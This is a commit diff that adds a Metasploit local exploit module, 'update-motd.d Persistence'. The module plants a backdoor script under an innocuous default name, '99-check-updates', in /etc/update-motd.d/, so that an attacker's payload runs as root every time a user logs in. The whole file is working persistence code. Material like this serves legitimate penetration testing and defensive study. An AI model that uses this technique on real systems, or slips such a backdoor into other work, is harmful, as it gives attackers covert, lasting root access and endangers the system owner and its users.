Land rapid7#19454, Persistence post module using motd

Author: dledda-r7

modules/exploits/linux/local/motd_persistence.rb

@@ -0,0 +1,63 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+
+  include Msf::Post::File
+  include Msf::Post::Unix
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'update-motd.d Persistence',
+        'Description' => %q{
+          This module will add a script in /etc/update-motd.d/ in order to persist a payload.
+          The payload will be executed with root privileges everytime a user logs in.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [ 'Julien Voisin' ],
+        'Platform' => [ 'unix', 'linux' ],
+        'Arch' => ARCH_CMD,
+        'SessionTypes' => [ 'shell', 'meterpreter' ],
+        'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
+        'Targets' => [ ['Automatic', {}] ],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => '1999-01-01',
+        'Notes' => {
+          'Stability' => [],
+          'Reliability' => [EVENT_DEPENDENT],
+          'SideEffects' => [ARTIFACTS_ON_DISK]
+        },
+        'References' => [
+          ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
+        ]
+      )
+    )
+    register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])
+  end
+
+  def exploit
+    update_path = '/etc/update-motd.d/'
+
+    unless exists? update_path
+      fail_with Failure::BadConfig, "#{update_path} doesn't exist"
+    end
+
+    unless writable? update_path
+      fail_with Failure::BadConfig, "#{update_path} is not writable"
+    end
+
+    backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])
+
+    if exists? backdoor_path
+      fail_with Failure::BadConfig, "#{backdoor_path} is already present"
+    end
+
+    write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
+    chmod(backdoor_path, 0o755)
+    print_status "#{backdoor_path} written"
+  end
+end